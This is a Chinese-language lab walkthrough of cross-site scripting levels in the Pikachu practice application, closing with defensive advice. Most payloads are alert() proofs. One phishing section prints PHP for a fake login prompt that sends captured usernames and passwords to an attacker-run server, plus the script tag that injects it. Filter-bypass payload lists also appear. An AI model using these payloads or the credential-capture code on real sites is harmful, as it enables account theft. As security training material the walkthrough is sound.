XSS攻击
跨站脚本漏洞测试流程
- 在目标站点上找到输入点,比如查询接口,留言板等。
- 输入一组特殊字符+唯一标识符号,点击提交后,查看返回的源码,看是否有做对应的处理。
- 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以进行构造执行js的条件(构造闭合)。
- 提交构造的脚本代码(以及各种绕过姿势),看是否执行成功,如成功,这说明存在xss漏洞。
反射型xss(get)
首先在该关卡页面,我们使用上述测试流程判断一下是否存在xss漏洞。
在输入框输入特殊字符+唯一标识符
提交后,查看源代码,看一下特殊字符是否被过滤等
在页面上,就已经原封不动的输出
<p class='notice'>who is '"<>#123456,i don't care!</p>
源码中也没有对特殊字符进行任何处理,直接输出,这里判断应该存在xss漏洞,输入构造的特殊的js脚本代码。
这里发现输入了20个字符就无法再输入,应该是前端对输入框的字符长度做了限制。
这里可以更改maxlength的值,就可以绕过这种限制,接着在输入框中继续输入构造的js代码
点击提交,js代码被正确执行
那么这种漏洞是如何出现的呢?
<input class="xssr_in" type="text" maxlength="20" name="message" />
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
根据代码可知,输入的message被直接输出,没有进行任何字符过滤等处理,
<p class='notice'>who is <script>alert('xss')</script>,i don't care!</p>
这种恶意的js代码被发送到客户端,浏览器进行解析,因此一旦存在xss漏洞,即可做任何js可以做的事
但是将页面重新刷新,js代码将不再执行,因为反射型代码发生在客户端,往往只具有一次性效果,
由于xss是get型,被插入的js代码被嵌入在了该url中,因此无论哪个用户访问这个url,js代码都将会被执行,攻击者只需将构造好payload的url发送给受害者,等待受害者点击。
http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&submit=submit
反射型xss(post)
这里利用post型xss进行cookie获取
基本原理:
模拟过程:
用户正常登录
这时攻击者将准备好的url发送给用户,诱导用户点击
http://127.0.0.1/pikachu/pkxss/xcookie/post.html
用户点击后,这时攻击者已经接受到了用户的cookie
这一过程:
造成漏洞的原因:
<form method="post">
<input class="xssr_in" type="text" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
$html.="<p class='notice'>who is {$_POST['message']},i don't care!</p>";
没有对用户输入的字符进行过滤
存储型xss
攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中,可以说是永久型的。
按照测试流程,判断页面是否存在xss漏洞
在该关卡中,输入特殊字符+唯一标识符
可以发现输入的字符被原封不动的输出到页面上。
测试js脚本
<script>alert('xss')</script>
点击提交后,页面弹出弹窗
并且但我们再次刷新页面,弹窗依然存在,这是因为存储型xss是存在与服务器端的漏洞,恶意js代码被提交都后台后,被存储在了数据库中,每次访问后会执行这段js代码。
存储在了数据库中:
产生该漏洞的原因:
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
$result=execute($link, $query);
没有过滤,直接存入数据库
实例:xss钓鱼
攻击原理:
攻击者首先搭建服务器,写一个basic realm认证页面
<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
header("Location: admin:8003/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
&password={$_SERVER[PHP_AUTH_PW]}");
}
?>
在存在xss漏洞的页面提交
<script src=”http://admin:8003/pkxss/xfish/fish.php”></script>
提交完成后,以后所有访问该页面的用户都会受到一个验证:
一旦用户将自己的账号密码提交,就会发送给攻击者
DOM型xss
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
在该关卡中,输入123观察页面变化
生成了一个超连接,查看一下源代码
根据代码可以看出将用户输入的字符作为超连接的地址,这样我们可以在输入框中构造特殊语句,先将href或者a标签闭合,后面加上恶意js代码
#’ οnclick=“alert(‘dom xss’)”>
这样当我们点击提交后,点击超连接将会执行js代码
Dom型xss-x
该关卡是上个关卡的延伸,主要模拟在此情形下的xss攻击,
<input id="text" name="text" type="text" value="" />
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>
通过查看源代码,是通过将用户输入的字符作为a标签的href属性,由于没有对应的字符串过滤原则,我们可以在输入框中输入我们构造的恶意js代码,
比如输入#’ οnclick=”alert(‘xss’)”>,点击提交后,点击超连接,就会触发弹窗。
该关卡与don型-xss原理一致,只是提交的表单元素text以get型显示在url中,这种形式的dom-xss漏洞跟容易被攻击者利用,比如构造如下url:
http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%23%27+onclick%3D%22alert%28%27dom-xss%27%29%22%3E#
将该url发送给用户,用户点击后将会执行js代码
Xss盲打
Xss盲打不是一种漏洞类型,而是一种攻击场景,攻击者在前端提交数据而不确认后台是否存在xss漏洞的情况下,输入恶意js代码,是一种攻击后台管理员的攻击手法。
比如该关卡中的输入框,攻击者首先输入特殊字符进行提交,看是否存在特殊字符的过滤
显示提交成功,基本判断应该没有字符过滤,这时进行xss攻击,输入自己构造好的payload
<script>alert('xss')</script>
提交后显示提交成功,看似没有效果,但是数据被存储到后端,当管理员登录后台进行管理时,就会收到攻击。
Xss之过滤
针对不同的过滤有不同的绕过技巧
1、 前端字符长度限制
通过直接修改网页源代码
抓包重放
2、 关键字被过滤
<script>标签被过滤,当onload事件没有在输入语句前被触发时,使用<BODY onload="alert('XSS')">,或者<img src=”#” onerror=”
<ecript>alert(‘xss’)</script>”>
大小写绕过<sCrIPt>alErt(‘xss’)</sCrIpt>
拼凑<scr<script>ipt>alert(‘xss’)</scr<script>ipt>
3、 input标签属性绕过
‘><script>alert(‘xss’)</script>
4、 单引号过滤
" " 代替 “ 双引号
& & 代替 & &符号
< < 代替 < 小于号
> > 代替 > 大于号
。。。。。。
按照攻击步骤,首先测试哪些字符被过滤
输入的特殊字符都被输入,看来没有对特殊字符进行过滤,有可能是对某些标签进行过滤,直接上js代码
<script>alert('xss')</script>
结果被过滤了,
使用绕过技巧进行测试:
大小写:<ScRIpt>alert('xss')</sCrIpt>
拼凑:<sc<script>ript>alert('xss')</scr</script>ipt>没有效果
使用img标签:<img src="#" onerror="alert('xss')">
Xss之htmlspecialchars
htmlspecialchars()函数:把预定义的字符转换为 HTML 实体
预定义的字符:
&:转换为&
":转换为"
':转换为 '
<:转换为<
>:转换为>
参数:
string:必需,规定要转换的字符串
flags :可选,规定如何处理引号、无效的编码以及使用哪种文档类型
character-set :可选,一个规定了要使用的字符集的字符串,如:UTF-8(默认)
double_encode :可选,布尔值,规定了是否编码已存在的 HTML 实体。
Flags参数可用的引号类型:
ENT_COMPAT :默认仅编码双引号。
ENT_QUOTES:编码双引号和单引号。
ENT_NOQUOTES:不编码任何引号
测试:
输入特殊字符看过滤情况: <>”’12456
查看源代码:
<a href='<>"'12456'><>"'@#12456</a>
可以看出被输入的值拼接在了href,<>”都被转义,’没有被转义,我们可以利用这个漏洞
先将href闭合,在后面输入我们需要拼接的语句
#’ οnclick='alert(123)’
点击提交后,点击超连接
Xss之href输出
输入111后查看页面源代码
<a href='111'> 阁下自己输入的url还请自己点一下吧</a>
可以看到我们输入的111最终被拼接给了href,由于a标签中的href属性可以使用JavaScript协议执行js代码,如果后端没有对我们输入的语句进行过滤,那么我们输入js代码就可能会被执行
比如输入语句javascript:alert(‘xss’),存在xss漏洞的情况下,则会执行:
Xss之js输出
输入123456后查看页面源代码
<script>
$ms='123456'</script><script>alert(‘xss’)</script>’;
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
用户的输入被插入js代码中,如果后台没有对输入的字符进行过滤,则可以通过构造payload执行js代码,
例如输入
123456'</script><script>alert(‘xss’)</script>
这回执行用户自己构造的js
此时的页面源代码,攻击者首先闭合script标签,在后面再构造了一组script标签
<script>
$ms='123456'</script><script>alert('xss')</script>';
Xss常见防范措施
总的原则:输入做过滤,输出做转义
过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
转义:所有输出到前端是数据都要输出点进行转义,输出到HTML中进行HTML转义,输出到js中进行js转义。